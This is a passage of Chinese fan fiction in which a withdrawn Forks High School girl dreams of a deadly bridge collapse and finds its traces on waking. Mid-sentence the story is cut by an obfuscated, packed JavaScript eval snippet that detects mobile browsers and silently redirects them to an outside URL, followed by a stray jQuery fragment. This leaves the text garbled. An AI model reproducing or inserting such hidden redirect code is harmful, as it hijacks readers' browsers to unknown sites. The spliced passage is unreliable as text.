桥上的空气带着一股说不上来的潮湿味，混着水泥、沥青，还有车辆散热器蒸发出来的热浪，一种夹杂着焦躁与汗味的城市气息。
邦妮·贝尔睁开眼的时候，正坐在驾驶座上，车缓缓前行着，车窗摇下了一半，风吹进来，把她耳边那缕棕红色碎发吹得痒痒的。
“…什么鬼？”她低声说，像是在质问谁把她偷偷丢进了一场愚蠢的恶作剧。
她并不记得自己是怎么来到这儿的——前一秒她还窝在房间里对着生物习题纸犯困，下一秒就这样坐进了一辆完全陌生、内饰泛着新车味的轿车里，双手搭在方向盘上，脚下踩着刹车，周围全是车。
她不该在这里。
而这一切也太真了，真得令人发毛。
她能感觉到座椅的摩擦、手心的汗粘在方向盘上、鼻腔里充斥那种空调和塑料混合的味道，还有阳光晒在皮肤上、车前盖泛着热的灼感——
梦？不像。
意识清醒，心跳真实，连肚子里咕噜一声都那么具体，她甚至有点想上厕所。
“……操。”
她瞥了眼车内后视镜，镜子里照出一张略显困惑又不爽的脸，头发乱糟糟地披在肩上，眼下还有一点点昨晚追剧熬夜的青影。她轻轻地深吸一口气，打量周围。
这是一座桥，一条横跨河流的宽阔桥梁，两侧有护栏，远处天光略暗，像要下雨但没下的样子。
她车子正好排在一列缓慢移动的队伍中。车流不快，像在等候什么。
左侧，有辆巴士缓缓驶过，贴着印有某公司LOGO的图案。几个青年在窗口打闹，其中一个穿红色T恤的男生笑得前仰后合，旁边黑发女生猛推了他一把，看起来像情侣。
“……人倒是不少。”她嘟囔，皱了皱鼻子。前面还有几辆私家车和摩托，看起来像是要集合去郊游的队伍，也可能是晨间交通的一部分，反正都不是她认识的。
耳边传来车载电台的声音，女主播甜腻腻地在说着什么交通事故——她没认真听。她注意到最前面一辆车旁站着几个人，有个戴着棒球帽的黑人男生靠在车头和某个长发姑娘说话，那姑娘穿着蓝色背心，身材劲瘦，神情有点不耐烦。
邦妮的眉头慢慢皱起。她能感觉到，那种无形的、不安的东西正在空气中潜伏。那不是视觉上的问题，而是一种身体本能：胃部紧绷，后颈凉意爬升，背脊骨像贴上一块冰石。
桥身晃了一下。
轻微的，像地面在你不动的时候偷偷地踢了你一脚。
她猛地握紧方向盘，下意识踩刹车，车身一顿，但没事。前车还在慢慢往前挪动，完全没人发现那一下晃动。
她舔了舔唇，干涩。视线向远处掠去，只见桥的边缘，一个工人模样的人拿着工具在检修钢缆。那人脸上汗流浃背，却神色平静，似乎毫无异常。
可就在他走过桥边的某个支撑点时，身后那根粗大的钢索轻轻地——弹了一下。
啪。
像神经抽搐的肌肉。
邦妮的心脏猛地一缩。
“别。”
她低声自言自语，已经开始尝试倒车——可她发现自己像被定住了一样，脚踩了倒挡却什么都不动。油门空转，车子就像被黏在这座桥上，她开始呼吸变快，冷汗顺着背脊滑进腰窝。
那根钢缆第二次、第三次地抽动。
下一秒——轰隆！
天崩地裂的一声。
不是夸张的形容，是字面意义的“天崩地裂”。远方桥面一节塌陷，伴随爆炸般的巨响与粉尘冲天而起，一整段道路直接崩下去，仿佛被恶魔的利爪抓断了脊椎。巴士被抛起来，先是翻了一圈，又像玩具一样重重砸进河里，水花冲天、碎片飞溅。
人群尖叫、逃窜、喉咙撕裂的哭喊声伴着汽车的喇叭声交织成一片噪音炼狱。
车子剧烈震动，有什么金属刮擦的声音从底盘响起——她的车也开始滑动，整个桥身正在向下倾斜，仿佛地心引力忽然变得贪婪，想要把一切吞下去。
她狠狠一拉手刹，打开车门跳出去，脚下一个踉跄，膝盖磕在地上，血流出来，但她顾不得疼，爬起来就跑。
前方，那些年轻人也在逃——有人摔倒，有人互相拉扯，有人大喊“这不是事故！是断了！桥断了！”还有个高个子男生奋力推起一辆摩托车想挪走路径，但下一秒，整个桥段彻底断裂，他和摩托车一起坠了下去。
邦妮惊恐地呆立着，脚边一条缝隙已经裂开，河水怒吼着在下方翻涌。她转身就跑，奔回自己的车，试图从另一边逃走。
但桥裂开了。她所处的这一节，像冰川上的浮岛一样，被切割出来，孤零零地向下陷落。
“不要，不要不要不要！！”
她喊叫，泪水和汗混着冲进眼里，眼前一片白雾。车子滑出、翻转、翻滚，她飞了出去，半空中眼角还看到一个女人，那个蓝背心的女人——整个人倒挂在护栏边上，拼命挣扎，却最终被断裂的钢缆砸中，脑袋爆成一团红雾。
然后——
一声闷响。
一切寂静。
她睁开眼的时候，天已经亮了，天花板熟悉得让人想哭。
福克斯小镇，她自己的房间。
她浑身发烫，腿上还有撞击后的淤青，汗水把睡衣全都湿透，她躺在床上，浑身颤抖。
她的梦，杀人了。
梦里的人真的死了。那种眼球喷出来、颅骨破碎的声音还在她耳朵里回响。
“我疯了。”她喃喃，却不敢闭眼。
第二天早上，福克斯的天色灰蒙蒙的，像褪色毛毯盖在整个小镇上，压得光都懒洋洋的，连鸟都不屑出门。窗外细雨绵绵，水珠在玻璃上留下一串串破碎轨迹。
邦妮盯着镜子里的自己，表情麻木，脸色苍白。她牙膏挤多了，泡沫从嘴角溢出来还没注意。
昨天晚上的梦像堵住她脑子的浓烟，怎么甩都甩不掉。
刷牙时她的视线游离着飘向浴室角落，看见洗衣篮上那条昨天丢进去的裤子，膝盖处的血痕干得发黑。
她记得昨天晚上流血了。
可现实里，她没撞到哪里，没有伤。
“好吧，”她轻声嘟哝，嘴里满是泡沫，“感谢梦境附送的虚拟疼痛体验。”
她吐掉泡沫，盯着镜子里自己的眼睛片刻。
镜子里的女孩眼神死寂，眼底青黑，头发炸得像被猫舔过，披散着，脸上还有一块昨晚梦中撞到车门边缘的红印，虽然现实里根本没有被撞——但她记得那种钝痛感，就像有块骨头轻轻被撬了一下。
她掀起上衣下摆看肋骨边缘，皮肤完好无损。
那种熟悉的割裂感又来了——梦是真实的，现实是虚假的。或者反过来。她已经不太在乎哪个是真的了。
穿衣、吃早饭、搭校车，这些流程机械而顺利。她的妈妈，塞西莉亚·贝尔，一大早就赶去医院值班了，没来得及说早安；爸爸还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405286|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在楼上熟睡，昨晚加班到十一点才回来。
邦妮匆匆把吐司塞进嘴里，咬了几口就丢进了水槽，拿着雨伞出了门。
福克斯高中像镇上的一只疲倦老狗，外墙泛灰，地砖潮湿，天井有积水味。校车到达的时候，她把兜帽拉低，像往常一样从车尾最后一个踏步下来。
没有人和她打招呼。她也懒得装模作样。
她走进校门，擦肩而过的是成群结队的青春肥料：穿着紧身裤的啦啦队女生、身上带着粗暴香水味的橄榄球队员、走路都要吵吵嚷嚷讨论八卦的社交达人，脸上全写着“我是主角”。
邦妮呢？她像一块褪色的背景板，静静融在这幅油腻画布里。
不过她乐得自在。
比起跟人互动，她更愿意脑补这些人早上都在做什么蠢事，比如眼前那个拿着星冰乐的金发女神——她大概花了二十分钟涂眼影，十分钟自拍，三秒钟假笑，然后在厕所跟某个队长的前男友啪啪啪。
邦妮不喜欢这些人，但她也不恨。他们太吵了，太容易读懂，像漫画书里的配角。
而她，是另一本书。
“嘿，别挡路，怪胎。”
她肩膀被一只指甲做得过分精致的手撞了一下，整个人往一边晃去。一个矮个子女生冲她翻了个白眼，身边另两个跟班一样的女孩“咯咯”笑着从她身边经过。
邦妮没有说话，只是慢吞吞地调整肩膀上斜背的帆布包，目光淡漠，甚至有点空洞。
怪胎。这是她在福克斯高中的代号。
不是因为她做了什么奇怪的事。她没整蛊老师、没画死神符号、没往饭里加蟑螂。她只是——不社交，不微笑，不撒娇，不拍照，不热衷牛仔裤和发光的唇釉。她不追星、不聊八卦、不传纸条、不打游戏。
她喜欢独处。喜欢画画，虽然没人看；喜欢念诗，尤其是病态浪漫那一挂的拜伦或坡；她偶尔会在走廊上自言自语，那不是疯，而是她在“排练”，脑海里各种设想对话、情境复盘。
她思考问题比别人深、也比别人快。她能在五秒钟内判断出一个人是好是坏、是真是伪，但她从不说出口，因为没有人会听。
她只是邦妮·贝尔，福克斯高中里的一名无人问津者。
第一节是历史课。她坐在靠窗角落，雨水轻轻敲着玻璃，她打开本子，原本该记课堂笔记的空白页上，已经开始用圆珠笔勾画昨晚梦里的桥。
她画得很认真。桥梁断裂的地方、钢缆崩断时像鞭子一样抽出的角度、车子被拋向空中那一刻的弧线，她都记得清清楚楚。
“你是…在画桥？”旁边一个男生看了一眼她的笔记本，小声问。
她头都没抬：“是啊。”
“那个……还挺好看的。”他声音不确定，像怕她突然掏出刀子捅他。
她嘴角轻轻扬了一点点。
“谢谢。”她说，继续画。
男生没再说话，也没试图搭话。他大概回忆起学校里对她的种种传言——有些人说她小时候差点溺死，现在每天晚上都梦游；有人说她家里信邪教；更奇葩的版本说她的书包里藏着猫的头骨。
她不在乎。
邦妮喜欢这样的距离感。她讨厌谎言，但也讨厌解释。
而她清楚，今晚她还会做梦。
下一场梦，不知道会是什么场景，是地铁脱轨、飞机爆炸，还是她站在某个空无一人的婴儿病房里，被吊扇绞碎？
她不知道。